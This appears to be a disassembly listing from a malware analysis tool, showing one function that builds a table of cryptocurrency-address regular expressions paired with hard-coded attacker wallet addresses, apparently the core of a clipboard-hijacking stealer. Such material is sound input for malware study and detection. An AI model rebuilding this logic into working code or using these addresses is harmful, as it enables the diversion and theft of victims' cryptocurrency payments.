Function at 0x404160
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4292c7
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x388
push esi
push edi
mov eax, dword [0x436040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x437f70]
cmp eax, dword [ecx + 4]
jle 0x404d9e
push 0x437f70
call fcn.004127d9
add esp, 4
cmp dword [0x437f70], 0xffffffff
jne 0x404d9e
mov dword [ebp - 4], 0
lea eax, [ebp - 0x128]
xorps xmm0, xmm0
mov dword [0x437f7c], 0
movq qword [0x437f74], xmm0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 1
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x11c], eax
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 2
call fcn.00406350
push ecx
push 0x431658
push str._b_bc1_0_9a_zA_Z_39__b
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 3
call fcn.00406c10
push str.bc1q9jfpqsjmw893ql93u7kpmdqv875kum4dcgeg3s
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x398]
call fcn.00406700
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 6
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 7
call fcn.00406350
push ecx
push 0x4316e6
push str._b_0x_0_9a_zA_Z_40__b
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 8
call fcn.00406c10
push str.0x67E8949D629eca04b3dA21d90bDd494d0AE51A23
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x36c]
call fcn.00406700
lea eax, [ebp - 0x100]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0xb
call fcn.0041007b
add esp, 4
mov dword [ebp - 0xf4], eax
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0xc
call fcn.00406350
push ecx
push 0x43175c
push str._b_T_0_9a_zA_Z_33__b
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0xd
call fcn.00406c10
push str.TENkuGN21h16VLq6xFguUd1oMzKzhJpVto
lea eax, [ebp - 0x104]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x340]
call fcn.00406700
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x10
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x11
call fcn.00406350
push ecx
push 0x4317fc
push str._b__EU__0_9a_zA_Z___47__b
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x12
call fcn.00406c10
mov dword [ebp - 0x314], 0
push 1
mov byte [ebp - 4], 0x15
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x304], eax
lea ecx, [ebp - 0x310]
mov byte [ebp - 4], 0x14
call fcn.00406350
lea ecx, [ebp - 0x314]
call fcn.00406240
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x50], 0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x300]
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x2f0], 0
push str.UQDnQmGcUxJTw2Qg62PDF1FiS61YLdO4ll_FY4o8vzeelfr4
movups xmmword [ebp - 0x300], xmm0
mov dword [ebp - 0x2ec], 0
call fcn.00407390
lea eax, [ebp - 0x38]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x18
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x19
call fcn.00406350
push ecx
push 0x43188a
push str._b_ltc1_0_9a_zA_Z_39__b
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x1a
call fcn.00406c10
mov dword [ebp - 0x2e8], 0
mov byte [ebp - 4], 0x1d
push 1
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x2d8], eax
lea ecx, [ebp - 0x2e4]
mov byte [ebp - 4], 0x1c
call fcn.00406350
lea ecx, [ebp - 0x2e8]
call fcn.00406240
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x3c], 0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x2d4]
push 0x2b
xorps xmm0, xmm0
mov dword [ebp - 0x2c4], 0
push str.ltc1q5lnftg8dhqs3p54pcx4vxpcmefpaga7vxve9ec
movups xmmword [ebp - 0x2d4], xmm0
mov dword [ebp - 0x2c0], 0
call fcn.00407390
lea eax, [ebp - 0xec]
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x20
call fcn.0041007b
add esp, 4
mov dword [ebp - 0xe0], eax
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x21
call fcn.00406350
push ecx
push 0x431908
push str._b__M__0_9a_zA_Z_33__b
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x22
call fcn.00406c10
push str.LPWKtcPjpxQzc26CxTtPFuQMNfm2RfEHfK
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x2bc]
call fcn.00406700
lea eax, [ebp - 0xd8]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x25
call fcn.0041007b
add esp, 4
mov dword [ebp - 0xcc], eax
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x26
call fcn.00406350
push ecx
push 0x43193c
push str._b__L__0_9a_zA_Z_33__b
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x27
call fcn.00406c10
push str.LPWKtcPjpxQzc26CxTtPFuQMNfm2RfEHfK
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x290]
call fcn.00406700
mov dword [ebp - 0xc8], 0
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x2a
call fcn.0041007b
add esp, 4
mov dword [ebp - 0xb8], eax
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 0x2b
call fcn.00406350
push ecx
push 0x4319b4
push str._b_r_0_9a_zA_Z_33__b
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x2c
call fcn.00406c10
push str.rGBpbxvMsjfVvQDG87WF1LW8K6s9hZJKgJ
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 0x2d
push eax
lea ecx, [ebp - 0x264]
call fcn.00406700
lea eax, [ebp - 0xb0]
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x2f
call fcn.0041007b
add esp, 4
mov dword [ebp - 0xa4], eax
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x30
call fcn.00406350
push ecx
push 0x431a2c
push str._b_1_0_9a_zA_Z_33__b
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x31
call fcn.00406c10
push str.1PScivy5yiPJNjQKczgeFNCKSrb5k5k18L
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0x32
push eax
lea ecx, [ebp - 0x238]
call fcn.00406700
lea eax, [ebp - 0x9c]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x34
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x90], eax
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x35
call fcn.00406350
push ecx
push 0x431aa4
push str._b_3_0_9a_zA_Z_33__b
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x36
call fcn.00406c10
push str.3EsuCn4a3tGNxr11oMZtBsgY52PjQxMAs9
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x37
push eax
lea ecx, [ebp - 0x20c]
call fcn.00406700
lea eax, [ebp - 0x88]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x39
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x7c], eax
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x3a
call fcn.00406350
push ecx
push 0x431b1c
push str._b_D_0_9a_zA_Z_33__b
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x3b
call fcn.00406c10
push str.DAYM9o7oisTXVTN2ZMcJ3JD2t4WYyRAh9H
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 0x3c
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00406700
lea eax, [ebp - 0x74]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x3e
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x3f
call fcn.00406350
push ecx
push 0x431b94
push str._b_X_0_9a_zA_Z_33__b
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0x40
call fcn.00406c10
push str.XpQFafMsJU5rXTcmTzXrbwRChMDFJZn9bX
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 0x41
push eax
lea ecx, [ebp - 0x1b4]
call fcn.00406700
lea eax, [ebp - 0x24]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x43
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x44
call fcn.00406350
push ecx
push 0x431c48
push str._b_bc1_0_9a_zA_Z_59__b
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x45
call fcn.00406c10
mov dword [ebp - 0x188], 0
push 1
mov byte [ebp - 4], 0x48
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x178], eax
lea ecx, [ebp - 0x184]
mov byte [ebp - 4], 0x47
call fcn.00406350
lea ecx, [ebp - 0x188]
call fcn.00406240
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x174]
push 0x3e
xorps xmm0, xmm0
mov dword [ebp - 0x164], 0
push str.bc1p93ruqcmsftdyk47nrx8g3tfl6h5tnar7ykqqctqz22dx7l47xpaqfh0vj2
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
call fcn.00407390
lea eax, [ebp - 0x60]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x14], eax
push 1
mov byte [ebp - 4], 0x4b
call fcn.0041007b
add esp, 4
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x4c
call fcn.00406350
push ecx
push 0x431cd4
push str._b_q_0_9a_zA_Z_41__b
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x4d
call fcn.00406c10
push str.qq4rrw9g5z6rhuzzgqj8jchj45yr2hg3cvtf65tl20
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x4e
push eax
lea ecx, [ebp - 0x15c]
call fcn.00406700
lea eax, [ebp - 0x130]
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x398]
push eax
push ecx
push ecx
call fcn.00405cf0
push fcn.00404dc0
push 0xe
push 0x2c
lea eax, [ebp - 0x398]
mov byte [ebp - 4], 0x5b
push eax
call fcn.0041286d
mov ecx, dword [ebp - 0x64]
or edi, 0xffffffff
test ecx, ecx
je 0x4048f8
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x4048f8
mov esi, dword [ebp - 0x64]
test esi, esi
je 0x4048f8
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x4048e1
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x64], 0
test ecx, ecx
je 0x404919
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404919
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x404947
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404947
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x404947
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404930
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0
test ecx, ecx
je 0x404968
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404968
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x78]
test ecx, ecx
je 0x404996
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404996
mov esi, dword [ebp - 0x78]
test esi, esi
je 0x404996
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x40497f
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x78], 0
test ecx, ecx
je 0x4049b7
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x4049b7
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x8c]
test ecx, ecx
je 0x4049eb
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x4049eb
mov esi, dword [ebp - 0x8c]
test esi, esi
je 0x4049eb
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x4049d4
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x8c], 0
test ecx, ecx
je 0x404a0f
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404a0f
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0xa0]
test ecx, ecx
je 0x404a43
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404a43
mov esi, dword [ebp - 0xa0]
test esi, esi
je 0x404a43
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404a2c
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0xa0], 0
test ecx, ecx
je 0x404a6a
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404a6a
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0xb4]
test ecx, ecx
je 0x404a9e
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404a9e
mov esi, dword [ebp - 0xb4]
test esi, esi
je 0x404a9e
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404a87
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xb4], 0
test ecx, ecx
je 0x404ac5
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404ac5
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0xc8]
test ecx, ecx
je 0x404af9
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404af9
mov esi, dword [ebp - 0xc8]
test esi, esi
je 0x404af9
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404ae2
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xc8], 0
test ecx, ecx
je 0x404b20
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404b20
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0xdc]
test ecx, ecx
je 0x404b54
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404b54
mov esi, dword [ebp - 0xdc]
test esi, esi
je 0x404b54
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404b3d
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xdc], 0
test ecx, ecx
je 0x404b7b
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404b7b
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0xf0]
test ecx, ecx
je 0x404baf
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404baf
mov esi, dword [ebp - 0xf0]
test esi, esi
je 0x404baf
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404b98
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xf0], 0
test ecx, ecx
je 0x404bd6
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404bd6
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x404c04
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404c04
mov esi, dword [ebp - 0x3c]
test esi, esi
je 0x404c04
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404bed
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], 0
test ecx, ecx
je 0x404c25
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404c25
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x50]
test ecx, ecx
je 0x404c53
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404c53
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x404c53
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404c3c
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x50], 0
test ecx, ecx
je 0x404c74
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404c74
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x104]
test ecx, ecx
je 0x404ca8
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404ca8
mov esi, dword [ebp - 0x104]
test esi, esi
je 0x404ca8
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404c91
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x104], 0
test ecx, ecx
je 0x404ccf
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404ccf
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x118]
test ecx, ecx
je 0x404d03
mov eax, edi
lock xadd dword [ecx + 0x20], eax
jne 0x404d03
mov esi, dword [ebp - 0x118]
test esi, esi
je 0x404d03
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404cec
mov ecx, dword [ebp - 0x108]
mov dword [ebp - 0x118], 0
test ecx, ecx
je 0x404d2a
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404d2a
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x12c]
test eax, eax
je 0x404d5d
lock xadd dword [eax + 0x20], edi
dec edi
jne 0x404d5d
mov esi, dword [ebp - 0x12c]
test esi, esi
je 0x404d5d
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x404d46
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x12c], 0
test ecx, ecx
je 0x404d84
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404d84
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push 0x429d40
call fcn.00412bbe
add esp, 4
push 0x437f70
call fcn.00412788
add esp, 4
mov eax, 0x437f74
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret